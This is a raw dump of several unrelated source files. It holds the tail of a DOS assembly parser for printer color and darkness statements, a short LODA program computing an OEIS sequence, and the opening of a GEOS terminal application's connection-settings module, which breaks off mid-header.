MOV BYTE PTR [BP+DI-1],0 ;; Init sequence length field ;AN000;
LEA AX,[DI-1] ;; ;AN000;
MOV SEQ_LENGTH_PTR,AX ;; Save pointer to length of sequence ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
MOV DI,OFFSET COLORSELECT_PARSE_PARMS ;; parse parms ;AN000;
MOV CS_NUM_REQ,1 ;; Change to 1 required parameters ;AN000;
MOV AX,OFFSET COLORSELECT_P0 ;; Point to control block for the band ;AN000;
MOV CS_POSITIONAL,AX ;; ID. (Dealing with only 1 positional ;AN000;
;; parameter at a time was the only way ;AN000;
;; I could get SYSPARSE to handle ;AN000;
;; the COLORSELECT syntax!) ;AN000;
;; SI => the line to parse ;AN000;
XOR DX,DX ;; ;AN000;
XOR CX,CX ;; ;AN000;
;; ;AN000;
CALL SYSPARSE ;; PARSE the band ID ;AN000;
.IF <AX NE 0> ;; ;AN000;
OR STMT_ERROR,INVALID ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
RET ;; statement. ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
PUSH ES ;; We got a band id........ ;AN000;
PUSH DI ;; ;AN000;
;; ;AN000;
LES DI,DWORD PTR RESULT_VAL ;; Get pointer to the parsed band id ;AN000;
.IF <<BYTE PTR ES:[DI+1]> NE 0> ;; Make sure the band id is only ;AN000;
OR STMT_ERROR,INVALID ;; one byte long ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
MOV BL,NUM_BANDS ;; ;AN000;
XOR BH,BH ;; ;AN000;
.IF <BX EQ MAX_BANDS> THEN ;; Watch out for too many COLORSELECTs ;AN000;
OR STMT_ERROR,SEQUENCE ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ELSE ;; ;AN000;
SHL BX,1 ;; calc index to store band in value list;AN000;
MOV AL,ES:[DI] ;; get BAND ID FROM PARSEr ;AN000;
MOV BAND_VAL_LIST[BX],AL ;; ;AN000;
INC NUM_BANDS ;; bump number of bands ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
POP DI ;; ;AN000;
POP ES ;; ;AN000;
;; ;AN000;
;; ;AN000;
MOV AX,OFFSET COLORSELECT_P1 ;; Switch to numeric positional parm!!! ;AN000;
MOV CS_POSITIONAL,AX ;; ;AN000;
MOV CS_NUM_REQ,0 ;; Change to 0 required parameters ;AN000;
XOR DX,DX ;; PARSE the sequence of escape bytes ;AN000;
.REPEAT ;; ;AN000;
XOR CX,CX ;; ;AN000;
CALL SYSPARSE ;; ;AN000;
.IF <AX EQ 0> ;; If esc byte is valid ;AN000;
PUSH AX ;; ;AN000;
MOV AX,1 ;; Add a byte to the sequence ;AN000;
CALL GROW_SHARED_DATA ;; Update block end ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,SEQ_LENGTH_PTR ;; ;AN000;
INC byte ptr [BP+DI] ;; Bump number of bytes in sequence ;AN000;
MOV DI,BLOCK_END ;; ;AN000;
MOV AL,RESULT_VAL ;; Get esc byte from result buffer ;AN000;
MOV [BP+DI-1],AL ;; Store at end of sequence ;AN000;
POP DI ;; ;AN000;
.ENDIF ;; ;AN000;
POP AX ;; ;AN000;
.ELSE ;; ;AN000;
.IF <AX NE -1> ;; ;AN000;
OR STMT_ERROR,INVALID ;; parm is invalid ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
.UNTIL <AX EQ -1> NEAR ;; ;AN000;
;; ;AN000;
;; ;AN000;
RET ;; ;AN000;
;; ;AN000;
PARSE_COLORSELECT ENDP ;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; Module Name: ;AN000;
;; PARSE_COLORPRINT ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
COLORPRINT_PARSE_PARMS LABEL WORD ;; Parser control blocks ;AN000;
DW COLORPRINT_P ;; ;AN000;
DB 2 ;; # of lists ;AN000;
DB 0 ;; # items in delimeter list ;AN000;
DB 1 ;; # items in end-of-line list ;AN000;
DB ';' ;; ';' used for comments ;AN000;
;; ;AN000;
;; ;AN000;
COLORPRINT_P LABEL BYTE ;; ;AN000;
DB 3,4 ;; Required,MAX ;AN000;
DW COLORPRINT_P0 ;; Numeric: Red value ;AN000;
DW COLORPRINT_P0 ;; Green value ;AN000;
DW COLORPRINT_P0 ;; Blue value ;AN000;
DW COLORPRINT_P1 ;; Band ID ... REPEATING ;AN000;
DB 0 ;; # Switches ;AN000;
DB 0 ;; # keywords ;AN000;
;; ;AN000;
COLORPRINT_P0 DW 8000H ;; Numeric - RGB value ;AN000;
DW 0 ;; No Capitalize ;AN000;
DW RESULT_BUFFER ;; Result buffer ;AN000;
DW COLORPRINT_P0V ;; Value list ;AN000;
DB 0 ;; Synomyms ;AN000;
;; ;AN000;
COLORPRINT_P0V DB 1 ;; # of value lists ;AN000;
DB 1 ;; # of range numerics ;AN000;
DB 1 ;; tag ;AN000;
DD 0,63 ;; range 0..63 ;AN000;
;; ;AN000;
COLORPRINT_P1 DW 2001H ;; sTRING - Band ID ;AN000;
DW 2 ;; Capitalize ;AN000;
DW RESULT_BUFFER ;; Result buffer ;AN000;
DW COLORPRINT_P1V ;; Value list ;AN000;
DB 0 ;; Synomyms ;AN000;
;; ;AN000;
COLORPRINT_P1V DB 3 ;; # of value lists ;AN000;
DB 0 ;; 0 - no range numerics ;AN000;
DB 0 ;; 0 - no actual numerics ;AN000;
NUM_BANDS DB 0 ;; number of band values ;AN000;
DB 01H ;; tag: TAGS ARE BAND MASKS ;AN000;
DW BAND_PTR_1 ;; ptr ;AN000;
DB 02H ;; tag ;AN000;
DW BAND_PTR_2 ;; ptr ;AN000;
DB 04H ;; tag ;AN000;
DW BAND_PTR_3 ;; ptr ;AN000;
DB 08H ;; tag ;AN000;
DW BAND_PTR_4 ;; ptr ;AN000;
DB 10H ;; tag ;AN000;
DW BAND_PTR_5 ;; ptr ;AN000;
DB 20H ;; tag ;AN000;
DW BAND_PTR_6 ;; ptr ;AN000;
DB 40H ;; tag ;AN000;
DW BAND_PTR_7 ;; ptr ;AN000;
DB 80H ;; tag ;AN000;
DW BAND_PTR_8 ;; ptr ;AN000;
;; ;AN000;
MAX_BANDS EQU 8 ;; ;AN000;
;; ;AN000;
BAND_VAL_LIST LABEL BYTE ;; ;AN000;
BAND_PTR_1 DB ?,0 ;; ;AN000;
BAND_PTR_2 DB ?,0 ;; ;AN000;
BAND_PTR_3 DB ?,0 ;; ;AN000;
BAND_PTR_4 DB ?,0 ;; ;AN000;
BAND_PTR_5 DB ?,0 ;; ;AN000;
BAND_PTR_6 DB ?,0 ;; ;AN000;
BAND_PTR_7 DB ?,0 ;; ;AN000;
BAND_PTR_8 DB ?,0 ;; ;AN000;
;; ;AN000;
;; ;AN000;
PARSE_COLORPRINT PROC ;; ;AN000;
;; ;AN000;
MOV CUR_STMT,COLP ;; ;AN000;
.IF <BIT STMTS_DONE NAND PRT> ;; PRINTER statemnet must have been ;AN000;
OR STMT_ERROR,MISSING ;; processed ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
.IF <BIT STMTS_DONE AND DISP> ;; DISPLAYMODE stmts ;AN000;
OR STMT_ERROR,SEQUENCE ;; should NOT have been processed ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
.IF <BIT GROUPS_DONE AND COLP> ;; Check for a previous group of ;AN000;
OR STMT_ERROR,SEQUENCE ;; COLORPRINTS within this PTD ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
MOV CUR_PRINTER_TYPE,COLOR ;; ;AN000;
;; ;AN000;
.IF <BIT STMTS_DONE NAND COLP> ;; If first COLORPRINT... ;AN000;
.IF <BUILD_STATE EQ YES> ;; Update count and pointer in the ;AN000;
MOV AX,BLOCK_END ;; Shared Data Area header ;AN000;
MOV [BP].COLORPRINT_PTR,AX ;; Set pointer to COLORPRINT info ;AN000;
MOV [BP].PRINTER_TYPE,COLOR ;; ;AN000;
MOV [BP].NUM_PRT_COLOR,0 ;; Init NUMBER OF COLORPRINTS ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
INC [BP].NUM_PRT_COLOR ;; Inc number of selects ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
OR STMTS_DONE,COLP ;; Indicate found ;AN000;
.IF <PREV_STMT NE COLP> THEN ;; Terminate any preceeding groups ;AN000;
MOV AX,PREV_STMT ;; except for COLORPRINT ;AN000;
OR GROUPS_DONE,AX ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
MOV AX,BLOCK_END ;; Start a new block ;AN000;
MOV BLOCK_START,AX ;; ;AN000;
MOV AX,SIZE COLORPRINT_STR ;; Make room for COLORPRINT info ;AN000;
CALL GROW_SHARED_DATA ;; ;AN000;
;; ;AN000;
MOV DI,OFFSET COLORPRINT_PARSE_PARMS ;; parse parms ;AN000;
;; SI => the line to parse ;AN000;
XOR DX,DX ;; ;AN000;
XOR CX,CX ;; ;AN000;
;; ;AN000;
CALL SYSPARSE ;; PARSE the RED value ;AN000;
.IF <AX NE 0> ;; ;AN000;
OR STMT_ERROR,INVALID ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ELSE ;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
MOV AL,RESULT_VAL ;; Store RED value in COLORPRINT info ;AN000;
MOV [BP+DI].RED,AL ;; ;AN000;
POP DI ;; ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
CALL SYSPARSE ;; PARSE the GREEN value ;AN000;
.IF <AX NE 0> ;; ;AN000;
OR STMT_ERROR,INVALID ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ELSE ;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
MOV AL,RESULT_VAL ;; Store GREEN value in COLORPRINT info ;AN000;
MOV [BP+DI].GREEN,AL ;; ;AN000;
POP DI ;; ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
CALL SYSPARSE ;; PARSE the BLUE value ;AN000;
.IF <AX NE 0> ;; ;AN000;
OR STMT_ERROR,INVALID ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ELSE ;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
MOV AL,RESULT_VAL ;; Store BLUE value in COLORPRINT info ;AN000;
MOV [BP+DI].BLUE,AL ;; ;AN000;
POP DI ;; ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
MOV [BP+DI].SELECT_MASK,0 ;; Initialize band select mask ;AN000;
POP DI ;; ;AN000;
.ENDIF ;; ;AN000;
XOR DX,DX ;; For each band found "OR" the item ;AN000;
.REPEAT ;; tag into the select mask ;AN000;
MOV CX,3 ;; Avoid getting too many parms error ;AN000;
CALL SYSPARSE ;; from parser ;AN000;
.IF <AX EQ 0> ;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
PUSH DI ;; ;AN000;
MOV DI,BLOCK_START ;; ;AN000;
MOV AL,RESULT_TAG ;; ;AN000;
OR [BP+DI].SELECT_MASK,AL ;; OR the mask for this band into the ;AN000;
;; select mask for this color ;AN000;
POP DI ;; ;AN000;
.ENDIF ;; ;AN000;
.ELSE ;; ;AN000;
.IF <AX NE -1> ;; ;AN000;
OR STMT_ERROR,INVALID ;; parm is invalid ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
.UNTIL <AX EQ -1> NEAR ;; ;AN000;
;; ;AN000;
RET ;; ;AN000;
;; ;AN000;
PARSE_COLORPRINT ENDP ;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;; ;AN000;
;; Module Name: ;AN000;
;; PARSE_DARKADJUST ;AN000;
;; ;AN000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000;
;AN000;
DARKADJUST_PARSE_PARMS LABEL WORD ;; Parser control blocks ;AN000;
DW DARKADJUST_P ;; ;AN000;
DB 2 ;; # of lists ;AN000;
DB 0 ;; # items in delimeter list ;AN000;
DB 1 ;; # items in end-of-line list ;AN000;
DB ';' ;; ';' used for comments ;AN000;
;; ;AN000;
;; ;AN000;
DARKADJUST_P LABEL BYTE ;; ;AN000;
DB 1,1 ;; Required,MAX ;AN000;
DW DARKADJUST_P0 ;; Numeric: adjust value ;AN000;
DB 0 ;; # Switches ;AN000;
DB 0 ;; # keywords ;AN000;
;; ;AN000;
DARKADJUST_P0 DW 4000H ;; Signed Numeric - adjust value ;AN000;
DW 0 ;; No Capitalize ;AN000;
DW RESULT_BUFFER ;; Result buffer ;AN000;
DW DARKADJUST_P0V ;; Value list ;AN000;
DB 0 ;; Synomyms ;AN000;
;; ;AN000;
DARKADJUST_P0V DB 1 ;; # of value lists ;AN000;
DB 1 ;; # of range numerics ;AN000;
DB 1 ;; tag ;AN000;
DD -63,63 ;; range -63,63 ;AN000;
;;;;***********************************;; ;AN000;
;; ;AN000;
;AN000;
PARSE_DARKADJUST PROC ;; ;AN000;
;; ;AN000;
MOV CUR_STMT,DARK ;; ;AN000;
.IF <BIT STMTS_DONE NAND PRT> ;; PRINTER statemnet must have been ;AN000;
OR STMT_ERROR,MISSING ;; processed ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
;; ;AN000;
OR STMTS_DONE,DARK ;; Indicate found ;AN000;
;; Terminate any preceeding groups ;AN000;
MOV AX,PREV_STMT ;; ;AN000;
OR GROUPS_DONE,AX ;; ;AN000;
;; ;AN000;
MOV DI,OFFSET DARKADJUST_PARSE_PARMS ;; parse parms ;AN000;
;; SI => the line to parse ;AN000;
XOR DX,DX ;; ;AN000;
XOR CX,CX ;; ;AN000;
;; ;AN000;
CALL SYSPARSE ;; PARSE the ADJUST VALUE ;AN000;
.IF <AX NE 0> ;; ;AN000;
OR STMT_ERROR,INVALID ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ELSE ;; ;AN000;
.IF <BUILD_STATE EQ YES> ;; ;AN000;
MOV AL,RESULT_VAL ;; ;AN000;
MOV [BP].DARKADJUST_VALUE,AL ;; ;AN000;
.ENDIF ;; ;AN000;
CALL SYSPARSE ;; CHECK FOR EXTRA PARMS ;AN000;
.IF <AX NE -1> ;; ;AN000;
OR STMT_ERROR,INVALID ;; ;AN000;
MOV PARSE_ERROR,YES ;; ;AN000;
MOV BUILD_STATE,NO ;; ;AN000;
.ENDIF ;; ;AN000;
.ENDIF ;; ;AN000;
;; ;AN000;
RET ;; ;AN000;
;; ;AN000;
PARSE_DARKADJUST ENDP ;; ;AN000;
;AN000;
LIMIT LABEL NEAR ;; ;AN000;
CODE ENDS ;; ;AN000;
END ;AN000;
| 47.609544
| 91
| 0.437192
|
6e49c983a7f770a8de7d5d22efeab01c68fe26b7
| 409
|
asm
|
Assembly
|
oeis/063/A063244.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/063/A063244.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/063/A063244.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A063244: Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 94 ).
; Submitted by Christian Krause
; 3,12,20,26,34,44,48,58,66,72,80,90,94,104,112,118,126,136,140,150,158,164,172,182,186,196,204,210,218,228,232,242,250,256,264,274,278,288,296,302,310,320,324,334,342,348,356,366,370,380
mov $1,$0
mul $0,9
div $1,3
mul $1,4
mov $2,$0
trn $0,3
mod $0,2
add $0,$1
sub $2,$0
mov $0,$2
add $0,3
| 25.5625
| 187
| 0.687042
|
317e768e0929f0a06ebf92c29007e6b692fce379
| 61,515
|
asm
|
Assembly
|
Appl/Term/Main/mainConnection.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/Term/Main/mainConnection.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/Term/Main/mainConnection.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1995 -- All Rights Reserved
PROJECT: PC GEOS GeoComm/Terminal
MODULE: Main
FILE: mainConnection.asm
AUTHOR: Eric Weber, May 22, 1995
ROUTINES:
Name Description
---- -----------
INT TermClearFocus Clear the focus in a dialog
INT TermUpdateFromAccessPoint
Load data from access point database
INT TermLoadConnectionText Load settings text object from database
INT TermLoadConnectionItem Load settings GenItemGroup object from
database
INT TermLoadConnectionAccPnt
Load internet access point to UI
INT TermSaveFocus Save the object which has the focus
INT TermSaveConnectionText Save settings text object to database
INT TermDataBitsChanged If data bits is 8, set parity to none and
disable. Else, enable parity setting.
INT TermSaveConnectionAccPnt
Save internet access point ID
INT TermTelnetCreateErrToErrorString
Convert a TelnetCreateErr to correct
ErrorString to report to user
INT TermMakeConnectionInit Init variables and other objects before
making terminal connection.
INT TermResetForConnect Reset terminal screen, clearing screen
first, if needed. (Telnet: Also reset
disconnection indicator dialog text.)
INT QuickDial Dial the phone number
INT InitiateConnectionIndicator
Initiate the connection indicator
INT InitiateConnectionIndicatorMakeStatusText
Construct the initial status text of
connection indicator
INT InitiateConnectionIndicatorMakeDescText
Construct the description text of
connection indicator
INT DestroyConnectionIndicator
Destroy connection indicator
INT SendTextObjStrings Send the text in a text obj text and a CR
char to serial line
INT TermMakeConnectionExit common clean up code for TermMakeConnection
INT TermDoConnectionEnum Enumerate an operation on a group of
connection objects
INT TermShouldWaitForECI Should we wait for ECI_CALL_RELEASE?
EXT TermValidatePhone Validate a phone number
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 5/22/95 Initial revision
simon 6/14/95 Use more Access Point properties
DESCRIPTION:
Handle the ConnectionSettingsDialog
$Id: mainConnection.asm,v 1.1 97/04/04 16:55:16 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _ACCESS_POINT
;============================================================================
; Tables
;============================================================================
;
; To ensure we can use "GetResourceHandleNS" once for all these objects
;
if _TELNET
CheckHack <(segment ConnectionNameText eq segment ConnectionDestHostText)>
else
CheckHack <(segment ConnectionNameText eq segment ConnectionPhoneText) AND \
(segment ConnectionPhoneText eq segment ConnectionInitText) AND \
(segment ConnectionInitText eq segment ConnectionDataChoices) AND \
(segment ConnectionDataChoices eq segment ConnectionStopChoices) AND \
(segment ConnectionStopChoices eq segment ConnectionParityChoices) AND \
(segment ConnectionParityChoices eq segment ConnectionLocalChoices) AND \
(segment ConnectionLocalChoices eq segment ConnectionBSChoices)>
endif ; _TELNET
;
; Think carefully about what happens in TermInitForIncoming before changing
; any of these tables, please.
;
;
; A list of connections related objects to be updated with access
; point database.
;
ConnectionObjTable nptr \
offset ConnectionNameText,
if _TELNET
offset ConnectionDestHostText,
else
offset ConnectionPhoneText,
offset ConnectionInitText,
offset ConnectionDataChoices,
offset ConnectionStopChoices,
offset ConnectionParityChoices,
offset ConnectionLocalChoices,
endif ; _TELNET
offset ConnectionBSChoices
if _TELNET
NUM_TEXT_SETTINGS equ 2
NUM_ITEM_SETTINGS equ 1
else
NUM_TEXT_SETTINGS equ 3
NUM_ITEM_SETTINGS equ 5
;
; These are the number of settings to skip when setting incoming call
; serial
; params.
;
NUM_ITEM_SETTINGS_TO_SKIP_FOR_INCOMING_CALL equ 3
endif ; _TELNET
;
; A list of connection setting GenItemGroup default selections
;
if _TELNET
ConnectionItemDefaultSelectionTable word \
DEFAULT_BS_SELECTION
else
ConnectionItemDefaultSelectionTable word \
DEFAULT_DATA_BIT_SELECTION,
DEFAULT_STOP_BIT_SELECTION,
DEFAULT_PARITY_SELECTION,
DEFAULT_LOCAL_ECHO_SELECTION,
DEFAULT_BS_SELECTION
endif ; _TELNET
;
; A list of routines to update internal variables from access point
; database.
;
if _TELNET
CheckHack <segment SetOutputBackspaceKey eq segment Main>
else
CheckHack <segment TermAdjustFormat1 eq segment Main>
CheckHack <segment TermAdjustFormat2 eq segment TermAdjustFormat1>
CheckHack <segment TermAdjustFormat3 eq segment TermAdjustFormat2>
CheckHack <segment TermSetDuplex eq segment TermAdjustFormat3>
CheckHack <segment SetOutputBackspaceKey eq segment TermSetDuplex>
endif ; _TELNET
if _TELNET
ConnectionUpdateRoutineTable nptr \
offset SetOutputBackspaceKey
else
ConnectionUpdateRoutineTable nptr \
offset TermAdjustFormat1,
offset TermAdjustFormat2,
offset TermAdjustFormat3,
offset TermSetDuplex,
offset SetOutputBackspaceKey
endif ; _TELNET
if not _TELNET
;
; Define the serial format entries for ConnectionAPSPTable to make sure they
; are contiguous.
;
DefSerialConnectionAPSPTableEntry macro apspEntry
SERIAL_ENTRY_COUNTER=SERIAL_ENTRY_COUNTER+1
.assert ((apspEntry eq APSP_DATA_BITS) or (apspEntry eq APSP_STOP_BITS) or \
(apspEntry eq APSP_PARITY)), \
<DefSerialConnectionAPSPTableEntry: Invalid access point entry type>
.assert (SERIAL_ENTRY_COUNTER le NUM_ITEM_SETTINGS_TO_SKIP_FOR_INCOMING_CALL),
<DefSerialConnectionAPSPTableEntry: Too many entries>
AccessPointStandardProperty apspEntry
.assert (($-ConnectionAPSPTableSerialSettings) eq \
(SERIAL_ENTRY_COUNTER * (size AccessPointStandardProperty))), \
<DefSerialConnectionAPSPTableEntry: serial settings not contiguous>
endm
endif ; !_TELNET
;
; Define the text entries of the table. Make sure they are contiguous.
;
DefTextConnectionAPSPTableEntry macro apspEntry
TEXT_ENTRY_COUNTER=TEXT_ENTRY_COUNTER+1
if _TELNET
.assert ((apspEntry eq APSP_NAME) or (apspEntry eq APSP_HOSTNAME)), \
<DefTextConnectionAPSPTableEntry: Invalid access point entry type>
else
.assert ((apspEntry eq APSP_NAME) or (apspEntry eq APSP_PHONE) or \
(apspEntry eq APSP_MODEM_INIT)), \
<DefTextConnectionAPSPTableEntry: Invalid access point entry type>
endif ; _TELNET
.assert (TEXT_ENTRY_COUNTER le NUM_TEXT_SETTINGS), \
<DefTextConnectionAPSPTableEntry: Too many entries>
AccessPointStandardProperty apspEntry
.assert (($-ConnectionAPSPTable) eq \
(TEXT_ENTRY_COUNTER * (size AccessPointStandardProperty))), \
<DefTextConnectionAPSPTableEntry: text settings not contiguous>
endm
;
; Counters for items defined in ConnectionAPSPTable
;
TEXT_ENTRY_COUNTER=0
NTELT <SERIAL_ENTRY_COUNTER=0 >
;
; A list of AccessPointStandardProperty for our use. The text entries should
; always cluster at the beginning of the list, followed by GenItem lists. The
; text entries and GenItem lists are contiguous for each group. The order is
; important and there are assertions to make sure the order is in place.
;
ConnectionAPSPTable label AccessPointStandardProperty
DefTextConnectionAPSPTableEntry APSP_NAME
if _TELNET
DefTextConnectionAPSPTableEntry APSP_HOSTNAME
else
DefTextConnectionAPSPTableEntry APSP_PHONE
DefTextConnectionAPSPTableEntry APSP_MODEM_INIT
ConnectionAPSPTableSerialSettings label AccessPointStandardProperty
DefSerialConnectionAPSPTableEntry APSP_DATA_BITS
DefSerialConnectionAPSPTableEntry APSP_STOP_BITS
DefSerialConnectionAPSPTableEntry APSP_PARITY
AccessPointStandardProperty APSP_DUPLEX
endif ; _TELNET
AccessPointStandardProperty APSP_BS
if not _TELNET
.assert (SERIAL_ENTRY_COUNTER eq NUM_ITEM_SETTINGS_TO_SKIP_FOR_INCOMING_CALL),\
<Not enough entries defined by DefSerialConnectionAPSPTableEntry>
endif ; !_TELNET
.assert (TEXT_ENTRY_COUNTER eq NUM_TEXT_SETTINGS), \
<Not enough entries defined by DefTextConnectionAPSPTableEntry>
if _VSER
ConnectionAPSPTableEnd label byte ; denote end of
; ConnectionAPSPTable
ITEM_APSP_TABLE_BASE equ (offset ConnectionAPSPTable + NUM_TEXT_SETTINGS * size AccessPointStandardProperty)
ITEM_APSP_TABLE_END equ offset ConnectionAPSPTableEnd
endif ; _VSER
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermEditConnection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Edit a connection
CALLED BY: MSG_TERM_EDIT_CONNECTION
PASS: ds = dgroup
cx = id to edit
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 5/22/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermEditConnection method dynamic TermClass,
MSG_TERM_EDIT_CONNECTION
uses ax, cx, dx, bp
.enter
;
; Load data from Access Point database
;
call TermUpdateFromAccessPoint
;
; forget any existing focus in the dialog
;
GetResourceHandleNS ConnectionSettingsDialog, bx
mov si, offset ConnectionSettingsDialog
call TermClearFocus
;
; initiate the dialog
;
mov ax, MSG_GEN_INTERACTION_INITIATE
clr di
call ObjMessage
.leave
ret
TermEditConnection endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermClearFocus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clear the focus in a dialog
CALLED BY: (INTERNAL) TermEditConnection
PASS: ^lbx:si - dialog object
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS: may invalidate stored segments
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 2/20/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermClearFocus proc near
uses ax, bx, cx, dx, bp, si, di
.enter
;
; get the current focus under the dialog
;
mov ax, MSG_META_GET_FOCUS_EXCL
mov di, mask MF_CALL
call ObjMessage ; ^lcx:dx = current focus
jcxz done
;
; make it not the focus
;
pushdw bxsi
movdw bxsi, cxdx
mov ax, MSG_META_RELEASE_FOCUS_EXCL
mov di, mask MF_CALL
call ObjMessage
popdw bxsi
done:
.leave
ret
TermClearFocus endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermUpdateFromAccessPoint
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Load data from access point database
CALLED BY: (INTERNAL) TermEditConnection, TermMakeConnectionInit
PASS: cx = access point ID
ds = dgroup
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Set up params;
Load string fields;
Load GenItemGroup fields;
